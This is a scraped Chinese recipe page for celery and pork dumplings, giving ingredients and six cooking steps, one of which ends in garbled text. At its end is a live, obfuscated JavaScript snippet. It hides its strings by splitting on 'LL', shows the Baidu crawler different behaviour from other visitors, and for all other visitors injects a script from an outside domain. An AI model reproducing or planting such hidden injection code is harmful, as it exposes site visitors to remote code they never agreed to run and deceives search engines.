当前位置:首页 > 饮食 > 烹饪技巧 > 正文

芹菜猪肉饺子怎么做?芹菜猪肉饺子的制作方法

2015-04-21 07:09:14  来源:360常识网   热度:
导语:饺子源自于古代的角子,在我国已经有一千八百多年的历史。饺子作为中国的特色小吃已经逐渐走向世界。根据馅料的不同,可以制作出不同口味的

饺子源自于古代的角子,在我国已经有一千八百多年的历史。饺子作为中国的特色小吃已经逐渐走向世界。根据馅料的不同,可以制作出不同口味的饺子。

芹菜猪肉饺子的制作方法-芹菜猪肉饺子怎么做?
芹菜猪肉饺子的制作方法-芹菜猪肉饺子怎么做?

芹菜猪肉饺子的制作方法

饺子源自于古代的角子,在我国已经有一千八百多年的历史。饺子作为中国的特色小吃已经逐渐走向世界。根据馅料的不同,可以制作出不同口味的饺子。

材料:

小麦面粉、猪肉、芹菜、鸡蛋。

调料:

水适量、油、食盐、糖、葱白、芝麻油。

做法:

Step1:将芹菜、葱洗干净切成小粒,放在盆中加入少量的盐静置,等芹菜水分浸出后,用干净的布腌制挤干芹菜叮

Step2:将猪肉洗净切块剁成馅,加入葱段一起剁,然后加入挤干水的芹菜剁均匀。

Step3:将剁好的肉馅放入盆中加入鸡蛋、食盐、油等调料搅拌均匀备用。

Step4:将面粉和水混合,搓成软硬适中的面团后,搓成长条形;再用刀切成小段,或者用手揪成小段,再将各小段碾成圆片备用;

Step5:将肉馅放在圆片饺子皮中间,用手捏成饺子的形状即可。

Step6:将做好的饺子隔水蒸或者水煮,待肉馅熟透后即可。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}